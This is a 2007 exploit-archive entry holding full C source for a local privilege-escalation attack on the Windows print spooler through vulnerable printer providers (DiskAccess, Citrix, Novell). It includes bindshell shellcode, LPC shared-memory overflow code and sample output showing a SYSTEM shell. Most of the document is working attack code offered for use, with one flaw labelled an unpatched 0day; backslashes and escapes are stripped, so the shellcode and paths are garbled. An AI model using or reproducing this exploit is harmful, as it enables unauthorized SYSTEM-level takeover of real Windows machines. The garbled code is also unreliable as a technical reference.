Multiple Printer Providers (spooler service) Privilege Escalation Exploit :

Date : 2007-01-29 Author : Andres Tarasco
/********************Private exploit- internal use only*****************
 Title: Universal exploit for vulnerable printer providers (spooler service).
 Vulnerability: Insecure EnumPrintersW() calls
 Author: Andres Tarasco Acuña - [email protected]
 Website: http://www.514.es
 

 This code should allow to gain SYSTEM privileges with the following software:
 blink !blink! blink!

 - DiskAccess NFS Client (dapcnfsd.dll v0.6.4.0) - REPORTED & NOTFIXED -0day!!! 
 - Citrix Metaframe - cpprov.dll  - FIXED
 - Novell (nwspool.dll  - CVE-2006-5854 - untested)
 - More undisclosed stuff =)

  If this code crashes your spooler service (spoolsv.exe) check your 
  "vulnerable" printer providers at:
  HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlPrintProviders

  Workaround: Trust only default printer providers "Internet Print Provider" 
  and "LanMan Print Services" and delete the other ones.
 
  And remember, if it doesnt work for you, tweak it yourself. Do not ask


  D:ProgramaciónEnumPrintersExploits>testlpc.exe
 [+] Citrix Presentation Server - EnumPrinterW() Universal exploit
 [+] Exploit coded by Andres Tarasco - [email protected]
 

 [+] Connecting to spooler LCP port RPC Controlspoolss
 [+] Trying to locate valid address (1 tries)
 [+] Mapped memory. Client address: 0x003d0000
 [+] Mapped memory. Server address: 0x00a70000
 [+] Targeting return address to  : 0x00A700A7
 [+] Writting to shared memory...
 [+] Written 0x1000 bytes
 [+] Exploiting vulnerability....
 [+] Exploit complete. Now Connect to 127.0.0.1:51477
 

 D:ProgramaciónEnumPrinters>nc localhost 51477
 Microsoft Windows XP [Versión 5.1.2600]
 (C) Copyright 1985-2001 Microsoft Corp.

 C:WINDOWSsystem32>whoami
 NT AUTHORITYSYSTEM


  514 ownz u
 ********************Private exploit- internal use only*****************/
#include <stdio.h>
#include <windows.h>
#include <Winspool.h>
#pragma comment(lib,"Winspool.lib")


#define REQUIRED_SIZE 0x1000
#define MAXLOOPS      10000 
unsigned char shellcode[] =
/*Just a metasploit shellcode - Bindshell 51477 */
"x2bxc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13xe6"
"xc0xc6x10x83xebxfcxe2xf4x1axaax2dx5dx0ex39x39xef"
"x19xa0x4dx7cxc2xe4x4dx55xdax4bxbax15x9exc1x29x9b"
"xa9xd8x4dx4fxc6xc1x2dx59x6dxf4x4dx11x08xf1x06x89"
"x4ax44x06x64xe1x01x0cx1dxe7x02x2dxe4xddx94xe2x38"
"x93x25x4dx4fxc2xc1x2dx76x6dxccx8dx9bxb9xdcxc7xfb"
"xe5xecx4dx99x8axe4xdax71x25xf1x1dx74x6dx83xf6x9b"
"xa6xccx4dx60xfax6dx4dx50xeex9exaex9exa8xcex2ax40"
"x19x16xa0x43x80xa8xf5x22x8exb7xb5x22xb9x94x39xc0"
"x8ex0bx2bxecxddx90x39xc6xb9x49x23x76x67x2dxcex12"
"xb3xaaxc4xefx36xa8x1fx19x13x6dx91xefx30x93x95x43"
"xb5x93x85x43xa5x93x39xc0x80xa8x0fx05x80x93x4fxf1"
"x73xa8x62x0ax96x07x91xefx30xaaxd6x41xb3x3fx16x78"
"x42x6dxe8xf9xb1x3fx10x43xb3x3fx16x78x03x89x40x59"
"xb1x3fx10x40xb2x94x93xefx36x53xaexf7x9fx06xbfx47"
"x19x16x93xefx36xa6xacx74x80xa8xa5x7dx6fx25xacx40"
"xbfxe9x0ax99x01xaax82x99x04xf1x06xe3x4cx3ex84x3d"
"x18x82xeax83x6bxbaxfexbbx4dx6bxaex62x18x73xd0xef"
"x93x84x39xc6xbdx97x94x41xb7x91xacx11xb7x91x93x41"
"x19x10xaexbdx3fxc5x08x43x19x16xacxefx19xf7x39xc0"
"x6dx97x3ax93x22xa4x39xc6xb4x3fx16x78x16x4axc2x4f"
"xb5x3fx10xefx36xc0xc6x10";

typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING;


typedef struct LpcSectionMapInfo{
        DWORD Length;
        DWORD SectionSize;
        DWORD ServerBaseAddress;
} LPCSECTIONMAPINFO;


typedef struct LpcSectionInfo {
        DWORD Length;
        HANDLE SectionHandle;
        DWORD Param1;
        DWORD SectionSize;
        DWORD ClientBaseAddress;
        DWORD ServerBaseAddress;
} LPCSECTIONINFO;


#define SHARED_SECTION_SIZE 0x1000

typedef struct _OBJDIR_INFORMATION {
  UNICODE_STRING          ObjectName;
  UNICODE_STRING          ObjectTypeName;
  BYTE                    Data[1];
} OBJDIR_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    UNICODE_STRING *ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        
    PVOID SecurityQualityOfService;  
} OBJECT_ATTRIBUTES;

#define InitializeObjectAttributes( p, n, a, r, s ) { 
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          
    (p)->RootDirectory = r;                             
    (p)->Attributes = a;                                
    (p)->ObjectName = n;                                
    (p)->SecurityDescriptor = s;                        
    (p)->SecurityQualityOfService = NULL;               
    }


typedef DWORD (WINAPI *NTCREATESECTION)(
   HANDLE* SectionHandle,
   unsigned long DesiredAccess,
   OBJECT_ATTRIBUTES *ObjectAttributes,
   PLARGE_INTEGER MaximumSize,
   unsigned long PageAttributess,
   unsigned long SectionAttributes,
   HANDLE FileHandle);

typedef DWORD (WINAPI *NTCONNECTPORT)(
   HANDLE *ClientPortHandle, 
   UNICODE_STRING *ServerPortName, 
   SECURITY_QUALITY_OF_SERVICE *SecurityQos, 
   DWORD *ClientSharedMemory,
   DWORD *ServerSharedMemory,
   DWORD *MaximumMessageLength,
   DWORD *ConnectionInfo OPTIONAL, 
   DWORD *ConnectionInfoLength); 


LARGE_INTEGER ConnectToLPCPort(void){
   /* Thanks goes to Cesar Cerrudo for the WLSI paper */
	HANDLE hPort;
	LPCSECTIONINFO sectionInfo;
	LPCSECTIONMAPINFO mapInfo;
	byte ConnectDataBuffer[100];
	DWORD Size = sizeof(ConnectDataBuffer);
   WCHAR  * uString=L"\RPC Control\spoolss";
	DWORD i;
	UNICODE_STRING uStr;
   LARGE_INTEGER ret;
   

   NTCONNECTPORT NtConnectPort;
   NTCREATESECTION NtCreateSection;

   ret.QuadPart=0;
	for (i=0;i<100;i++)
		ConnectDataBuffer[i]=0x0;


   NtConnectPort= (NTCONNECTPORT)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtConnectPort");
   NtCreateSection= (NTCREATESECTION)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCreateSection");

   if ( (!NtConnectPort) || (!NtCreateSection) ) {
      printf("[-] Error Loading functions
");
   } else {
   	HANDLE hSection;
	   LARGE_INTEGER SecSize;
	   DWORD maxSize=0;
	   SECURITY_QUALITY_OF_SERVICE qos;
      DWORD qosSize=4;

      //create shared section	
      SecSize.LowPart=REQUIRED_SIZE;//0x1000;
	   SecSize.HighPart=0x0;

	   qos.Length =(DWORD)&qosSize;
	   qos.ImpersonationLevel =SecurityIdentification;
	   qos.ContextTrackingMode =0x01000101;
	   qos.EffectiveOnly =0x10000;
	   
	   NtCreateSection(&hSection,SECTION_ALL_ACCESS,NULL,&SecSize,PAGE_READWRITE,SEC_COMMIT ,NULL);
      
      //connect to lpc
	   memset(&sectionInfo, 0, sizeof(sectionInfo));
	   memset(&mapInfo, 0, sizeof(mapInfo));

	   sectionInfo.Length = 0x18;
	   sectionInfo.SectionHandle =hSection;
	   sectionInfo.SectionSize = SHARED_SECTION_SIZE;
	   mapInfo.Length = 0x0C;

	   uStr.Length = wcslen(uString)*2;
	   uStr.MaximumLength = wcslen(uString)*2+2;
	   uStr.Buffer =uString;
	
	   //connect to LPC port
	   if (!NtConnectPort(&hPort,&uStr,&qos,(DWORD *)&sectionInfo,(DWORD *)&mapInfo,&maxSize,(DWORD*)ConnectDataBuffer,&Size)){
         ret.LowPart=sectionInfo.ClientBaseAddress ; 
         ret.HighPart=sectionInfo.ServerBaseAddress;
      } 


   }
	return(ret);
}

#define BOFSIZE 300 //Change it if size needed more to exploit you printer provider
 
int main(int argc, char* argv[])
{
  
  unsigned char exploit[BOFSIZE];
  unsigned char buffer[REQUIRED_SIZE];
  DWORD dwSizeNeeded,n=0;
  DWORD datalen=REQUIRED_SIZE;
  LARGE_INTEGER dirs;
  HANDLE hProcess;
  DWORD write;
  char *p,i;
  #define lpLocalAddress dirs.LowPart
  #define lpTargetAddress dirs.HighPart

  printf("[+] Universal exploit for printer spooler providers
");
  printf("[+] Some Citrix metaframe, DiskAccess and Novel versions are affected
");
  printf("[+] Exploit by Andres Tarasco - [email protected]

");

  printf("[+] Connecting to spooler LCP port \RPC Control\spoolss
");
  

 
  do {
   dirs=ConnectToLPCPort();
   printf("[+] Trying to locate valid address: Found 0x%8.8x after %i tries
",lpTargetAddress,n+1);
   if (lpLocalAddress==0){ 
	 printf("
[-] Unable to connect to spooler LPC port
"); 
    printf("[-] Check if the service is running
");
	 exit(0);
   }
   i=lpTargetAddress>>24; // & 0xFF000000 == 0
   n++;
   if (n==MAXLOOPS) {
      printf("
[-] Unable to locate a valid address after %i tries
",n);
      printf("[?] Maybe a greater REQUIRED_SIZE should help. Try increasing it
");
      return(0);
   }
  }while (i!=0);
  
  //printf(" (%i tries)
",n);
  printf("
");

  printf("[+] Mapped memory. Client address: 0x%8.8x
",lpLocalAddress);
  printf("[+] Mapped memory. Server address: 0x%8.8x
",lpTargetAddress);

 
  i=(lpTargetAddress<<8)>>24;
  //Fill all with rets. who cares where is it.
  memset(exploit,i,sizeof(exploit)); 
  exploit[sizeof(exploit)-1]='';

  /*
  memset(exploit,'A',sizeof(exploit)-1);
  exploit[262]= (lpTargetAddress<<8)>>24; //EIP for Diskaccess
  exploit[263]= (lpTargetAddress<<8)>>24; //EIP for Diskaccess
  exploit[264]='';
  */
  
  printf("[+] Targeting return address to  : 0x00%2.2X00%2.2X
",exploit[262],exploit[262]);

  p=(char *)lpLocalAddress;

  memset(&buffer[0],0x90,REQUIRED_SIZE);
  memcpy(&buffer[REQUIRED_SIZE -sizeof(shellcode)-10],shellcode,sizeof(shellcode));
  
  printf("[+] Writting to shared memory...
");
  if ( (hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()))!= NULL ) 
  {
    if ( WriteProcessMemory( hProcess, p, &buffer[0], REQUIRED_SIZE, &write )!=0 )
    {
      printf("[+] Written 0x%x bytes 
",write);
      printf("[+] Exploiting vulnerability....
");
      printf("[+] Exploit complete. Now try to connect to 127.0.0.1:51477
");
      printf("[+] and check if you are system =)
");
      EnumPrintersA ( PRINTER_ENUM_NAME, (char *)exploit, 1, NULL, 0, &dwSizeNeeded, &n );
      return(1);
    } else {
       printf("[-] Written 0x%x bytes 
",write);

    }
  } 
  printf("[-] Something failed. Error %i - Good luck next time
",GetLastError());
  return(0);
}

// milw0rm.com [2007-01-29]

C1

 

C2

 

C3